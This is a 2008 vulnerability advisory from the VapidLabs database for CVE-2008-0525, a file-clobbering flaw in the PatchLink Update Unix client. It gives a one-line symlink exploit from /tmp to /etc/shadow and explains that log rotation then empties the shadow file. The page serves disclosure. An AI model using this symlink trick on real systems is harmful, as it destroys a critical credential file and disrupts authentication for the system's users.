The VapidLabs Vulnerability Database

Vulnerabilities discovered by Larry W. Cashdollar

1 advisory Latest: 2008-01-17
Back to all advisories
Examine in ATT&CK and D3FEND: CVE2CAPEC

PatchLink Update Unix Client File clobbering vulnerability

#842 · 2008-01-17
CVE ID(s): CVE-2008-0525
Notified: 2008-01-17
Description: 
PatchLink Updateâ„¢ provides rapid, accurate and secure patch management, allowing you to proactively manage threats by automating the collection, analysis and delivery of patches throughout your enterprise. PatchLink Update significantly decreases the costs involved in securing your organization from worms, Trojans, viruses and other malicious threats.
Exploit: 
nobody:/tmp> ln -s /etc/shadow patchlink.tmp

After logs are rotated

/etc/shadow will be size 0, since patchlink.tmp is removed by logtrimmer after the log rotation process has finished.
Notes: 
41152
Download: http://lumension.com/patch-management.jsp?rpLangCode=1&rpMenuId=118443
URL: http://www.vapid.dhs.org/advisories/patchlink_update_unix_client_file_clobber_vulnerability.html